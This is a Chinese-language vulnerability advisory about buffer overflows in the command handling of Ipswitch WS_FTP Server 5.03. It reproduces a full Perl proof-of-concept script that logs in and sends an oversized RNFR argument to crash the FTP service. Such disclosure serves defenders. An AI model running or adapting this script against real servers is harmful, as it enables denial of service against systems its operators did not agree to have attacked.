WS_FTP Server多个命令处理缓冲区溢出漏洞

受影响系统:
Ipswitch WS FTP Server 5.03
描述:
--------------------------------------------------------------------------------
WS_FTP Server是一款FTP服务程序。

WS_FTP Server多个命令处理存在缓冲区溢出问题,远程攻击者可以利用这个漏洞以进程权限在系统上执行任意指令。

程序对SITE、XMKD、MKD和RNFR命令参数的处理缺少正确的缓冲区边界检查,精心构建提交参数可能以进程权限在系统上执行任意指令。

<*来源:Reed Arvin ([email protected]

链接:http://marc.theaimsgroup.com/?l=bugtraq&m=110177654524819&w=2
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Reed Arvin ([email protected])提供了如下测试方法:

#===== Start WS_FTP_Overflow.pl =====

Usage: WS_FTP_Overflow.pl

 1<ip> <ftp user=""> <ftp pass="">   
 2# WS_FTP_Overflow.pl 127.0.0.1 hello moto   
 3#   
 4# WS_FTP Server Version 5.03, 2004.10.14   
 5#   
 6# Download:   
 7# http://www.ipswitch.com/   
 8#   
 9#####################################################   
10  
11use IO::Socket;   
12use strict;   
13  
14my($socket) = "";   
15  
16if ($socket = IO::Socket::INET-&gt;new(PeerAddr =&gt; $ARGV[0],   
17PeerPort =&gt; "21",   
18Proto =&gt; "TCP"))   
19{   
20print "Attempting to kill WS_FTP Server service at $ARGV[0]:21...";   
21  
22sleep(1);   
23  
24print $socket "USER $ARGV[1]\r\n";   
25  
26sleep(1);   
27  
28print $socket "PASS $ARGV[2]\r\n";   
29  
30sleep(1);   
31  
32print $socket "PORT 127,0,0,1,18,12\r\n";   
33  
34sleep(1);   
35  
36print $socket "RNFR " . "A" x 768 . "\r\n";   
37  
38close($socket);   
39  
40sleep(1);   
41  
42if ($socket = IO::Socket::INET-&gt;new(PeerAddr =&gt; $ARGV[0],   
43PeerPort =&gt; "21",   
44Proto =&gt; "TCP"))   
45{   
46close($socket);   
47  
48print "failed!\n";   
49}   
50else   
51{   
52print "successful!\n";   
53}   
54}   
55else   
56{   
57print "Cannot connect to $ARGV[0]:21\n";   
58}   
59#===== End WS_FTP_Overflow.pl =====   
60  
61建议:   
62\--------------------------------------------------------------------------------   
63厂商补丁:   
64  
65Ipswitch   
66\--------   
67目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:   
68  
69http://www.ipswitch.com/</ftp></ftp></ip>
Published At
Categories with 网络技术
comments powered by Disqus